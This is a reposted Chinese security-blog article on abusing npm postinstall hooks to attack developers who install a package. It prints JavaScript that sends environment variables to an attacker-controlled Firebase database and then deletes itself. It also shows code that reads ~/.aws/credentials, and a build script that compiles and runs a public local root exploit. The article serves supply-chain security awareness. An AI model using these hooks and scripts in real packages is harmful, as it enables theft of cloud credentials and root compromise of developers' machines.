记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

滥用NPM库实现敏感数据提取

2016-11-14 04:20

前言

程序包和依赖项管理器(如npm)在构建过程中允许执行命令,命令执行为开发人员在构建过程执行脚本任务提供了一个简单方便的机制。  例如,npm允许开发人员使用预安装和后安装钩子来执行任务。在开始构建之前,可以使用预安装钩子来编译一些独立的本地库。后安装钩子用于构建之后的清理。

在这篇文章中演示了攻击者如何使用npm从开发人员的机器中提取信息。虽然只是展示了npm的攻击场景,但类似的攻击也可以在其他软件包管理器上完成,比如gradle。

攻击

为了验证数据泄露的可行性,我们描述了以下三种不同的情况。 对于每个情况,攻击者只需要获取发布的npm包,并说服一些开发人员使用npm install安装它。

我们首先创建一个npm包,并使用package.json文件中的后安装钩子指定要执行的任务。该任务可以是shell脚本或JavaScript程序。例如,如果我们需要在npm install之后运行shell脚本(build.sh),我们可以执行以下操作:

{
  "name": "a-legit-package",
  "version": "0.2.0",
  "description": "This package runs a script after installation",
  "main": "app.js",
  "scripts": {
    "postinstall": "sh build.sh"
  },
...
}

如果我们想要运行JavaScript任务,例如:install.js,我们可以将其添加到package.json并使用Node运行它,如下所示:

{
  "name": "a-legit-package",
  "version": "0.2.0",
  "description": "This package runs a script after installation",
  "main": "app.js",
  "scripts": {
    "postinstall": "node install.js"
  },
...
}

提取环境变量

一旦我们能够在构建过程中以用户的角度执行任务,我们就可以使用它来提取敏感信息,比如环境变量。 要配置AWS CLI,请设置以下环境变量:

$ export AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
$ export AWS_DEFAULT_REGION=us-west-2

如果开发人员构建node.js项目时存在这些环境变量,则可以将其上传到受攻击者控制的位置。 为避免引起怀疑,我们可以使用像Firebase这样流行的后端服务,而不是将信息转储到一些模糊的IP地址或潜在的可疑域。下面显示的JavaScript代码将放在install.js文件中,在构建之后运行。它会将所有环境变量复制到Firebase数据库。在退出进程之前,clean()方法从系统中删除原始的install.js文件。 这确保了在构建之后没有任务痕迹留在开发人员的机器上。

var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");


dbRef.push({status : "leaked env vars", message : process.env}, clean());


function clean(){
  try{
    fs.unlinkSync("install.js");
  }
  catch (ex){}
  process.exit(0);
}

攻击者可以监控Firebase数据库(https://abcde-fg-1234.firebaseio.com/),并通过捕获的环境变量来查找包含AWS密钥的变量:

2016-11-08-aws-creds-ec4d2bcc

泄漏敏感文件

如果AWS密钥未存储在环境变量中,则仍然可能通过其他方式泄漏敏感信息。例如,例如,AWS配置指南建议使用〜/ .aws / credentials文件来管理多个命名配置文件。这些命名的配置文件可以存储多个AWS访问密钥。

[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

[user2]
aws_access_key_id=AKIAI44QH8DHBEXAMPLE
aws_secret_access_key=je7MtGbClwBF/2Zp9Utk/h3yCo8nvbEXAMPLEKEY

由于以用户的权限运行构建安装后任务,因此可以将此文件的内容复制到受攻击者控制的位置。我们可以将install.js修改为以下内容以捕获凭据文件中的信息:

var fs = require('fs');
var Firebase = require("firebase");
var ref = new Firebase("https://abcde-fg-1234.firebaseio.com/");
var dbRef = ref.child("env_vars");


var filepath = process.env.HOME+'/.aws/credentials';
var data = fs.readFileSync(filepath,'utf8');
dbRef.push({status : "leaked sensitive files", message : process.env}, clean());


function clean(){
  try{
    fs.unlinkSync("install.js");
  }
  catch (ex){}
  process.exit(0);
}

如果〜/ .aws / credentials文件存在于开发人员的机器上,它很可能包含多个AWS密钥。这种攻击相比仅仅来自环境变量来说,会泄露更多的敏感信息。

2016-11-08-aws-cred-file-025997b8本地权限提升

npm包还可进行底层系统执行权限提升。最近ubuntu的一个漏洞(CVE-2015-1328)允许本地攻击者使用overlayfs mounts在用户命名空间内获取root权限。 此漏洞有公开的exploit,exploit(ofs.c)在目标机器上打开一个具有管理员权限的shell。这个shell可以在系统中安装一个永久后门。

在NPM中安装后钩使得它几乎微不足道的构建和运行该漏洞。 我们创建一个具有以下内容的build.sh文件,并将其作为安装后任务运行。

OS=`uname -s`
if [ "$OS" = "Linux" ]
then
  gcc ofs.c
  ./a.out
else
       ...
fi

影响

几乎所有流行的构建和包管理器(gradle,maven,npm等)都允许执行系统命令,因此可能存在本节中描述的攻击。 对于npm的这一情况,近发生了一个攻击,攻击者成功上传了一个恶意软件包,当它作为node.js项目中的依赖关系添加时,会删除开发人员的主目录。 尽管关于npm模块的安全性的担忧在过去被提及,似乎没有一种简单有效的方法来防止这种攻击。

从用户的主目录中删除文件这一直接的攻击很容易被检测到或注意到。 然而,如果恶意行为更加隐蔽,,例如这里描述的涉及窃取敏感信息或安装后门的攻击,将难以检测和跟踪。在npm上发布一个包是非常容易的,它只需要一个电子邮件验证。随着越来越多的开发人员结合了广泛的休闲包安装,这带来的安全风险只会增加。

未经允许不得转载: » 滥用NPM库实现敏感数据提取

知识来源: www.mottoin.com/91795.html
想收藏或者和大家分享这篇好文章→复制链接地址

“滥用NPM库实现敏感数据提取”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云